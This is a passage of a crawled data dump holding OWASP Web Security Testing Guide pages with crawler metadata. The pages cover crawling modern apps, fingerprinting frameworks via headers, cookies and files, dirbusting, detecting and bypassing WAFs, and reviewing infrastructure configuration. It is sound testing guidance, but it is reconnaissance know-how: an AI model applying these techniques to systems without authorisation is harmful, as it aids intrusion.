[Spider](https://www.zaproxy.org/docs/desktop/start/features/spider/)\n- [Client Spider](https://www.zaproxy.org/docs/desktop/addons/client-side-integration/spider/)\n- [OpenAPI Support](https://www.zaproxy.org/docs/desktop/addons/openapi-support/)\n- [GraphQL Support](https://www.zaproxy.org/docs/desktop/addons/graphql-support/)\n\n### Crawling Modern, JavaScript-Heavy Applications\n\nNaive spidering often under-covers modern applications, since many routes and decision paths are only reachable via client-side routing, dynamically rendered content, or API calls triggered by user interaction rather than by following `` links. This means a significant portion of the application’s execution paths may never be discovered by a spider that only parses static HTML.\n\nTo improve coverage of these applications, consider crawlers capable of executing JavaScript and following client-side navigation, such as [katana](https://github.com/projectdiscovery/katana) (which supports a headless mode for this purpose), ZAP’s [Client Spider](https://www.zaproxy.org/docs/desktop/addons/client-side-integration/spider/), or Burp Suite’s crawler. Manually exercising the application’s workflows through an intercepting proxy, as described in [Identify Application Entry Points](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points), remains important to reach paths gated behind multi-step flows, authentication states, or conditional logic that automated crawlers may not trigger on their own.\n\n## Tools\n\n- [Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n- [List of spreadsheet software](https://en.wikipedia.org/wiki/List_of_spreadsheet_software)\n- [Diagramming software](https://en.wikipedia.org/wiki/List_of_concept-_and_mind-mapping_software)\n\n## References\n\n- [Code Coverage](https://en.wikipedia.org/wiki/Code_coverage)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4629, "slov": 581, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:56", "sha256": "249254e117b47af435c67d694303f03e8461e18c3bf7603671d182629cd0af43", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://www.zaproxy.org/docs/desktop/start/features/spider/", "https://www.zaproxy.org/docs/desktop/addons/client-side-integration/spider/", "https://www.zaproxy.org/docs/desktop/addons/openapi-support/", "https://www.zaproxy.org/docs/desktop/addons/graphql-support/", "https://github.com/projectdiscovery/katana", "https://en.wikipedia.org/wiki/List_of_spreadsheet_software", "https://en.wikipedia.org/wiki/List_of_concept-_and_mind-mapping_software", "https://en.wikipedia.org/wiki/Code_coverage", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Fingerprint Web Application Framework"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "HTTP Headers"}, {"uroven": 4, "text": "Cookies"}, {"uroven": 4, "text": "HTML Source Code"}, {"uroven": 3, "text": "Specific Files and Folders"}, {"uroven": 4, "text": "File Extensions"}, {"uroven": 4, "text": "Error Messages"}, {"uroven": 2, "text": "Common Identifiers"}, {"uroven": 3, "text": "Cookies"}, {"uroven": 3, "text": "HTML Source Code"}, {"uroven": 4, "text": "General Markers"}, {"uroven": 4, "text": "Specific Markers"}, {"uroven": 3, "text": "WhatWeb"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# Fingerprint Web Application Framework\n\n| ID |\n| --- |\n| WSTG-INFO-08 |\n\n## Summary\n\nIt wouldn’t be a stretch to say that almost every conceivable idea for a web application has already been put into development. With the vast number of free and open-source software projects that are actively developed and deployed globally, it is very likely that an application security test will encounter a target that is entirely or partly dependent on these well-known applications or frameworks (e.g. WordPress, phpBB, Mediawiki, etc). Knowing the web application components that are being tested helps the testing process significantly and will also drastically reduce the effort required during the test. These well-known web applications have specific HTML headers, cookies, and directory structures that can be enumerated to identify the application. Most web frameworks have several markers in these locations, which can assist an attacker or tester in recognizing them. This is basically what all automatic tools do, they look for a marker from a predefined location and then compare it to the database of known signatures. For better accuracy, several markers are usually used.\n\n## Test Objectives\n\n- Fingerprint the components used by the web applications.\n\n## How to Test\n\n### Black-Box Testing\n\nThere are several common locations to consider in order to identify frameworks or components:\n\n- HTTP headers\n- Cookies\n- HTML source code\n- Specific files and folders\n- File extensions\n- Error messages\n\n#### HTTP Headers\n\nThe most basic form of identifying a web framework is to look at the `X-Powered-By` field in the HTTP response header. Many tools can be used to fingerprint a target, the simplest one is netcat.\n\nConsider the following HTTP Request-Response:\n\n```\n$ nc 127.0.0.1 80\nHEAD / HTTP/1.0\n\nHTTP/1.1 200 OK\nServer: nginx/1.0.14\n[...]\nX-Powered-By: Mono\n```\n\nFrom the `X-Powered-By` field, we understand that the web application framework is likely to be `Mono`. However, although this approach is simple and quick, this methodology doesn’t work in all cases. It is possible to easily disable `X-Powered-By` header by a proper configuration. There are also several techniques that allow a site to obfuscate HTTP headers (see an example in the Remediation section). In the example above, we can also note that a specific version of `nginx` is being used to serve the content.\n\nIn the same example, the tester could either miss the `X-Powered-By` header or obtain an answer like the following:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.0.14\nDate: Sat, 07 Sep 2013 08:19:15 GMT\nContent-Type: text/html;charset=ISO-8859-1\nConnection: close\nVary: Accept-Encoding\nX-Powered-By: Blood, sweat and tears\n```\n\nSometimes there are more HTTP headers that point at a certain framework. In the following example, according to the information from HTTP request, one can see that `X-Powered-By` header contains PHP version. However, the `X-Generator` header points out the used framework is actually `Swiftlet`, which helps a penetration tester to expand their attack vectors. When performing fingerprinting, carefully inspect every HTTP header for such leaks.\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.4.1\nDate: Sat, 07 Sep 2013 09:22:52 GMT\nContent-Type: text/html\nConnection: keep-alive\nVary: Accept-Encoding\nX-Powered-By: PHP/5.4.16-1~dotdeb.1\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nX-Generator: Swiftlet\n```\n\n#### Cookies\n\nAnother similar and somewhat more reliable way to determine the current web framework are framework-specific cookies.\n\nConsider the following HTTP response headers from a Laravel application:\n\n```\nHTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, private Date: Sun, 13 Sep 2026 12:10:25 GMT Set-Cookie: XSRF-TOKEN=eyJpdiI6IkpyQWZUUUFjVXBPWWpkSjF3cHlJZnc9PSIsInZhbHVlIjoiZzZlVm1QWlMxRDlqVGpDVHlwdVVPa3BpWDhYd0F2NXlodm1jTmRSU2pFaUh1VUxvL3cyLzhNU2o1blBJSUpQS2srNnBQQUVpUlJJeW9wMkRvZXhqejBySnpGUVVzclllendrQzZDWDBUa0ZiVmVnNlRidDFwVExrdGRZekJyd1ciLCJtYWMiOiJjMjcyN2FjOThlNjEyMGY0YjZkYjEwNWJjZGI2YWE4MzJiNDZjZDg1NDQxN2U0YzcxMDg5NTJhOTVjODE5YzY2IiwidGFnIjoiIn0%3D; expires=Sun, 13 Sep 2026 14:10:26 GMT; Max-Age=7200; path=/; samesite=lax Set-Cookie: laravel_session=eyJpdiI6IlV4QkdjeWE2dGpzU2EyWEd4cDRHbXc9PSIsInZhbHVlIjoiMnlFWS9CcW9ncEFKODQzMFFxK0F6ekN4dStJbnF2b2NhaUlmRWVuRU81WFo2OHZwQTlYZ2owdGZlUVVLY29ScWRsZDllTTVVTXBuaE1SanBSak5JeU5NZFJnNFdZUmtOZnUwVTBUYndRbmpJdVRKdW9mZUtrMnRwRXg3TUxiM2MiLCJtYWMiOiI5NDU1ODY2Y2Q5NjhjMGI4NWZkNmZjNjI1NTI1ZDNiNTJjMDU3MTc3ZjAyZDc2YjlmZGE4OTM5NjFhNTY3ZTE3IiwidGFnIjoiIn0%3D; expires=Sun, 13 Sep 2026 14:10:26 GMT; Max-Age=7200; path=/; httponly; samesite=lax content-length: 88805 \n```\n\nThe cookie `laravel_session`, along with the accompanying `XSRF-TOKEN` cookie used for CSRF protection, has automatically been set, which gives information about the framework being used. A list of common cookie names is presented in Cookies section. Limitations still exist in relying on this identification mechanism - it is possible to change the name of cookies. For example, for Laravel this could be done via the `cookie` value in `config/session.php`:\n\n```\n/*\n|--------------------------------------------------------------------------\n| Session Cookie Name\n|--------------------------------------------------------------------------\n|\n| Here you may change the name of the cookie used to identify a session\n| instance by ID. The name specified here will get used every time a\n| new session cookie is created by the framework for every driver.\n|\n*/ 'cookie' => env( 'SESSION_COOKIE', Str::slug(env('APP_NAME', 'laravel'), '_').'_session' ), \n```\n\nHowever, these changes are less likely to be made than changes to the `X-Powered-By` header, making this approach to identification more reliable.\n\n#### HTML Source Code\n\nThis technique is based on finding certain patterns in the HTML page source code. Often one can find a lot of information which helps a tester to recognize a specific component. One of the common markers is HTML comments that directly lead to framework disclosure. More often, certain framework-specific paths can be found, i.e. links to framework-specific CSS or JS folders. Finally, specific script variables might also point to a certain framework.\n\nFrom the screenshot below, one can easily determine the framework in use and its version by the mentioned markers. Angular applications, for example, add an `ng-version` attribute directly to the root element of the page, explicitly disclosing the exact framework version in use.\n\n*Figure 4.1.8-1: Angular Framework HTML Source Sample*\n\nFrequently such information is positioned in the `` section of HTTP responses, in `` tags, or at the end of the page. Nevertheless, entire responses should be analyzed since it can be useful for other purposes such as inspection of other useful comments and hidden fields. Sometimes, web developers may not sufficiently obscure the information about the frameworks or components used. It is still possible to stumble upon something like this at the bottom of the page, such as a “Proudly published with Ghost” footer disclosing that the site runs on the [Ghost](https://ghost.org/) publishing platform:\n\n*Figure 4.1.8-2: Ghost Bottom Page*\n\n### Specific Files and Folders\n\nThere is another approach which greatly helps an attacker or tester to identify applications or components with high accuracy. Every web application component has its specific file and folder structure on the server. It has been noted that one can see the specific path from the HTML page source but sometimes they are not explicitly presented there and may still reside on the server.\n\nIn order to uncover them, a technique known as forced browsing or “dirbusting” is used. Dirbusting is brute forcing a target with known folder and filenames and monitoring HTTP-responses to enumerate server content. This information can be used both for finding default files and attacking them, and for fingerprinting the web application. Dirbusting can be done in several ways, the example below shows a successful dirbusting attack against a WordPress-powered target with the help of defined list and intruder functionality of Burp Suite.\n\n*Figure 4.1.8-3: Dirbusting with Burp*\n\nWe can see that for some WordPress-specific folders (for instance, `/wp-includes/`, `/wp-admin/` and `/wp-content/`) HTTP responses are 403 (Forbidden), 302 (Found, redirection to `wp-login.php`), and 200 (OK) respectively. This is a good indicator that the target is WordPress powered. The same way it is possible to dirbust different application plugin folders and their versions. In the screenshot below one can see a typical `readme.txt` file of a WordPress plugin, accessible at `/wp-content/plugins//readme.txt`, which provides information on the plugin being used and discloses its exact, potentially vulnerable, version via the `Stable tag` field.\n\n*Figure 4.1.8-4: WordPress Plugin Readme Disclosure*\n\nTip: before starting with dirbusting, check the `robots.txt` file first. Sometimes application specific folders and other sensitive information can be found there as well. An example of such a `robots.txt` file is presented on a screenshot below.\n\n```\nUser-agent: *\nDisallow: /wp-admin/\nAllow: /wp-admin/admin-ajax.php\n```\n\nSpecific files and folders are different for each specific application. If the identified application or component is Open Source there may be value in setting up a temporary installation during penetration tests in order to gain a better understanding of what infrastructure or functionality is presented, and what files might be left on the server. However, several useful file lists already exist; one notable example is the [FuzzDB wordlists of predictable files/folders](https://github.com/fuzzdb-project/fuzzdb).\n\n#### File Extensions\n\nURLs may include file extensions that can also help identify the web platform or technology.\n\nFor example, the old OWASP wiki used PHP:\n\n```\nhttps://wiki.owasp.org/index.php?title=Fingerprint_Web_Application_Framework&action=edit§ion=4\n```\n\nHere are some common web file extensions and associated technologies:\n\n- `.php` – PHP\n- `.aspx` – Microsoft ASP.NET\n- `.jsp` – Java Server Pages\n\n#### Error Messages\n\nAs can be seen in the following screenshot the listed file system path points to use of WordPress (`wp-content`). Also, testers should be aware that WordPress is PHP-based (`functions.php`).\n\n*Figure 4.1.8-5: WordPress Parse Error*\n\n## Common Identifiers\n\n### Cookies\n\n| Framework | Cookie name |\n| --- | --- |\n| WordPress | `wordpress_logged_in_*`, `wp-settings-*` |\n| Laravel | `laravel_session` |\n| Django | `sessionid`, `csrftoken` |\n| Express.js (Node) | `connect.sid` |\n| ASP.NET Core | `.AspNetCore.Session`, `.AspNetCore.Antiforgery.*` |\n| phpBB | `phpbb3_*` |\n| Drupal | `SESS*` / `SSESS*` (name is a hash, no fixed prefix beyond `SESS`/`SSESS`) |\n| CakePHP | `CAKEPHP` (configurable, this is the default) |\n| TYPO3 | `fe_typo_user` |\n| DNN Platform (DotNetNuke) | `DotNetNukeAnonymous` |\n\n### HTML Source Code\n\n| Application | Keyword |\n| --- | --- |\n| WordPress | `` |\n| phpBB | `` |\n| Joomla | `` |\n| Drupal | `` |\n| Ghost | `` |\n| DotNetNuke | `DNN Platform - [https://www.dnnsoftware.com](https://www.dnnsoftware.com)` |\n| Angular | `ng-version=\"X.X.X\"` attribute on the application root element |\n| Next.js | ``. If these requests are blocked, it is likely that there may be a WAF in place. Additionally, the contents of the block pages may provide information about the specific technology that is in use. Finally, some WAFs may add cookies or HTTP headers to responses that can reveal their presence.\n\nIf a cloud-based WAF is in use, then it may be possible to bypass it by directly accessing the backend server, using the same methods discussed in the Content Delivery Network section.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 14450, "slov": 2171, "odkazu": 208, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:59", "sha256": "fd26e819b2ad85d7036456fca5e2fb67b4eb29aa179720ba064cbc8a49267bc7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content", "https://portswigger.net/web-security/request-smuggling", "https://en.wikipedia.org/wiki/Content_delivery_network", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/README", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "4.1 Information Gathering"}], "markdown": "# WSTG - Latest\n\n# 4.1 Information Gathering\n\n4.1.0 [Information Gathering Overview](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/00-Information_Gathering_Overview)\n\n4.1.1 [Conduct Search Engine Reconnaissance for Information Leakage](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Reconnaissance_for_Information_Leakage)\n\n4.1.2 [Fingerprint Web Server](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server)\n\n4.1.3 [Review Webserver Metafiles for Information Leakage](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage)\n\n4.1.4 [Attack Surface Identification](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/04-Attack_Surface_Identification)\n\n4.1.5 [Review Web Page Content for Information Leakage](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Web_Page_Content_for_Information_Leakage)\n\n4.1.6 [Identify Application Entry Points](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points)\n\n4.1.7 [Map Execution Paths Through Application](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application)\n\n4.1.8 [Fingerprint Web Application Framework](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework)\n\n4.1.9 [Fingerprint Web Application](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application)\n\n4.1.10 [Map Application Architecture](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2266, "slov": 154, "odkazu": 201, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:49", "sha256": "380d21ffb40d33b894bf013245c87a15a55d9495329a42ca8a2aeb3bbaee57bc", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/01-Network_Infrastructure_Configuration", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/01-Network_Infrastructure_Configuration", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/01-Network_Infrastructure_Configuration", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Network Infrastructure Configuration"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Known Server Vulnerabilities"}, {"uroven": 3, "text": "Administrative Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Network Infrastructure Configuration\n\n| ID |\n| --- |\n| WSTG-CONF-01 |\n\n## Summary\n\nThe intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can include hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application. It takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and seemingly unimportant problems may evolve into severe risks for another application on the same server. In order to address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues, after having mapped the entire architecture.\n\nProper configuration management of the web server infrastructure is very important in order to preserve the security of the application itself. If elements such as the web server software, the backend database servers, or the authentication servers are not properly reviewed and secured, they might introduce undesired risks or introduce new vulnerabilities that might compromise the application itself.\n\nFor example, a web server vulnerability that would allow a remote attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers and application servers) could compromise the application, as anonymous users could use the information disclosed in the source code to leverage attacks against the application or its users.\n\nThe following steps need to be taken to test the configuration management infrastructure:\n\n- The different elements that make up the infrastructure need to be determined in order to understand how they interact with a web application and how they affect its security.\n- All the elements of the infrastructure need to be reviewed in order to make sure that they don’t contain any known vulnerabilities.\n- A review needs to be made of the administrative tools used to maintain all the different elements.\n- The authentication systems need to be reviewed in order to assure that they serve the needs of the application and that they cannot be manipulated by external users to leverage access.\n- A list of defined ports which are required for the application should be maintained and kept under change control.\n\nAfter having mapped the different elements that make up the infrastructure (see [Map Network and Application Architecture](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)), it is possible to review the configuration of each element founded and test for any known vulnerabilities.\n\n## Test Objectives\n\n- Review the applications’ configurations set across the network and validate that they are not vulnerable.\n- Validate that used frameworks and systems are secure and not susceptible to known vulnerabilities due to unmaintained software or default settings and credentials.\n\n## How to Test\n\n### Known Server Vulnerabilities\n\nVulnerabilities in various areas of the application architecture, whether in the web server or the backend database, can severely compromise the application. For example, consider a server vulnerability that allows a remote, unauthenticated user to upload files to the web server or even replace existing files. This vulnerability could compromise the application, since a rogue user may be able to replace the application itself or introduce code that would affect the backend servers, as its application code would be run just like any other application.\n\nReviewing server vulnerabilities can be hard to do if the test needs to be done through a blind penetration test. In these cases, vulnerabilities need to be tested from a remote site, typically using an automated tool. However, testing for some vulnerabilities can have unpredictable results on the web server, and testing for others (like those directly involved in denial of service attacks) might not be possible due to the service downtime involved if the test was successful.\n\nSome automated tools will flag vulnerabilities depending on the version of the web server they retrieve. This leads to both false positives and false negatives. On one hand, if the web server version has been removed or obscured by the local site administrator the scan tool will not flag the server as vulnerable even if it is. On the other hand, if the vendor providing the software does not update the web server version when vulnerabilities are fixed, the scan tool will flag vulnerabilities that do not exist. The latter case is actually very common as some operating system vendors back port patches of security vulnerabilities to the software they provide in the operating system, but do not do a full upload to the latest software version. This happens in most GNU/Linux distributions such as Debian, Red Hat, and SuSE. In most cases, vulnerability scanning of an application architecture will only find vulnerabilities associated with the “exposed” elements of the architecture (such as the web server) and will usually be unable to find vulnerabilities associated to elements which are not directly exposed, such as the authentication backend, the backend database, or reverse proxies [1] in use.\n\nFinally, not all software vendors publicly disclose vulnerabilities, which means these weaknesses may not be registered within known vulnerability databases [2]. This information is only disclosed to customers or published through fixes that do not have accompanying advisories. This reduces the effectiveness of vulnerability scanning tools. Typically, vulnerability coverage of these tools will be very good for common products (such as the Apache web server, Microsoft IIS, or IBM’s Lotus Domino) but will be lacking for lesser known products.\n\nThis is why reviewing vulnerabilities is best done when the tester is provided with internal information about the software, including versions, releases, and patches applied. With this information, the tester can retrieve data from the vendor and analyze potential vulnerabilities in the architecture, as well as their potential impact on the application. When possible, these vulnerabilities can be tested to determine their real effects and to detect if there might be any external elements (such as intrusion detection or prevention systems) that might reduce or negate the possibility of successful exploitation. Testers might even determine through a configuration review that the vulnerability is not actually present since it affects a software component that is not in use.\n\nIt is also worthwhile to note that vendors will sometimes silently fix vulnerabilities and make the fixes available with new software releases. Different vendors have varying release cycles that determine the support they may provide for older releases. A tester with detailed information about the software versions used by the architecture can analyse the risk associated with the use of old software releases that might be unsupported in the short term or are already unsupported. This is critical because if a vulnerability emerges in an unsupported older software version, the systems personnel may not be directly aware of it. No patches will be ever made available for it and advisories might not list that version as vulnerable as it is no longer supported. Even if they are aware of the vulnerability and the associated system risks, a full upgrade to a new software release will be necessary, potentially introducing significant downtime in the application architecture or necessitating application re-coding due to incompatibilities with the latest software version.\n\n### Administrative Tools\n\nAny web server infrastructure requires the existence of administrative tools to maintain and update the information used by the application. This information includes static content (web pages, graphic files), application source code, user authentication databases, etc. The type of administrative tools used can vary depending on the specific site, technology, or software in use. For example, some web servers will be managed using administrative interfaces which are themselves web servers (such as the iPlanet web server) or will be administrated by plain text configuration files (such as in the Apache case [3]) or use operating-system GUI tools (such as when using Microsoft’s IIS server or ASP.Net).\n\nIn most cases, the server configuration is managed with various file maintenance tools, administered through FTP servers, WebDAV, network file systems (NFS, CIFS), or other mechanisms. Obviously, the operating system of the elements that make up the application architecture will also be managed using other tools. Applications may also contain embedded administrative interfaces for managing application data (users, content, etc.).\n\nAfter mapping the administrative interfaces used to manage different parts of the architecture, it is important to review them. If an attacker gains access to any of these interfaces, they could potentially compromise or damage the application architecture. To accomplish this, it’s important to:\n\n- Determine the mechanisms that control access to these interfaces and their associated susceptibilities. This information may be available online.\n- Ensure that the default username and password are changed.\n\nSome companies choose not to manage all aspects of their web server applications and may delegate content management to other parties. This external company might provide only certain parts of the content (such as news updates or promotions), or it might completely manage the web server (including content and code). It is common to find administrative interfaces available from the internet in these situations, since using the internet is cheaper than providing a dedicated line that will connect the external company to the application infrastructure through a management-only interface. In such situations, it’s crucial to test whether the administrative interfaces are vulnerable to attacks.\n\n## References\n\n- [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.\n- [2] Such as Symantec’s Bugtraq, ISS’ X-Force, or NIST’s National Vulnerability Database (NVD).\n- [3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10489, "slov": 1570, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:01", "sha256": "a015ac1171416bf1c046d9dca64a6802286cf792f5ad31bc99639fe3d25cabee", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/02-Application_Platform_Configuration", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/02-Application_Platform_Configuration", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/02-Application_Platform_Configuration", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Application Platform Configuration"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Sample and Known Files and Directories"}, {"uroven": 4, "text": "System Configuration"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "Configuration Review"}, {"uroven": 4, "text": "Logging"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Application Platform Configuration\n\n| ID |\n| --- |\n| WSTG-CONF-02 |\n\n## 